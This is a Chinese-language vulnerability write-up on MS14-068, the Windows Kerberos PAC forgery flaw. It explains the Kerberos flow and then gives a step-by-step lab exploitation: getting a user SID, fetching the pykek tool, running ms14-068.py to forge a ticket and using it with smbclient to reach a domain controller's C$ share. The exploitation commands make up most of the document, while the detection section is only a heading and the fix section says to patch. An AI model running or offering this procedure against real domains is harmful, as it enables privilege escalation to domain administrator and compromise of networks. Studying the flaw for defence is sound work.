0x00 背景
Windows Kerberos对kerberos tickets中的PAC(Privilege Attribute Certificate)的验证流程中存在安全漏洞,低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC并通过Kerberos KDC(Key Distribution Center)的验证,攻击成功使得攻击者可以提升权限,获取域管理权限。
漏洞补丁地址: https://technet.microsoft.com/zh-cn/library/security/MS14-068
0x01 漏洞描述
A) Kerberos描述
1. 用户Sue登陆到自己的客户端,客户端向认证服务器发送一个TGT(Ticket Granting Ticker)请求到KDC(Key Distribution Center)服务。
2. 认证服务器确认用户的访问权限和session key.认证服务器使用用户密码HASH作为KEY去加密请求然后发送到客户端。
3. 客户端后续使用这个密码去解密以后的消息。解密成功后,用户使用TGT去到TGS(Ticket Granting Service)请求一个服务票据。
4. TGS返回一个服务票据。
5. 用户拿服务票据去认证。
6. 开启客户端和服务端回话。
B) 漏洞描述
上面的图有一个地方没有指出,无论TGT还是服务票据都包含一个PAC(Privilege Attribute Certificate), PAC包含了两个信息,一个是用户SID,另外一个是用户的组。
当用户登陆KDC验证服务的时候,服务会验证PAC中的签名。如果PAC携带的签名表示”Sue”是”域控管理员”安全组的成员,那么创建的登陆session回话就将Sue当成了管理员。这样的认证存在问题,攻击者可以伪造身份。
0x02 漏洞利用
1. 漏洞环境描述:
域控服务器(windows 2008 R2): 192.168.163.128
漏洞利用服务器(Kali):192.168.163.129
域控名称:test.com
2. 创建一个普通用户
3. 获取用户的SID
C:/Users/Administrator>wmic useraccount get name,sid
4. 安装Kerberos
root@kali:/pentest/pykek-master# apt-get install krb5-admin-server
5. 漏洞利用
a) 初始化凭证
root@kali:/pentest/pykek-master# kinit [email protected]
b) 验证权限
root@kali:/pentest/pykek-master# smbclient -W TEST.COM //win-8jlle0mmugl.test.com/c$ -k
c) 创建ticket
root@kali:/pentest# wgethttps://github.com/cnbird1999/pykek/archive/master.zip
root@kali:/pentest# unzip master.zip
root@kali:/pentest/pykek-master# python ms14-068.py -u [email protected] -s S-1-5-21-2110236087-111396580-470197958-1103 -d win-8jlle0mmugl.TEST.COM
d) 漏洞利用
root@kali:/pentest/pykek-master# mv [email protected] /tmp/krb5cc_0
root@kali:/pentest/pykek-master# smbclient -W TEST.COM //win-8jlle0mmugl.test.com/c$ -k
0x03 检测方式
1) 日志检测方式
0x04 漏洞修复
打补丁升级。下面是升级的地址
https://technet.microsoft.com/zh-cn/library/security/MS14-068
0x05 参考
http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx#.VGucMUNJNtc.twitter
https://www.myotherpcisacloud.com/post/2014/11/19/have-you-been-pwned-by-cve20146324ms14068.aspx
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论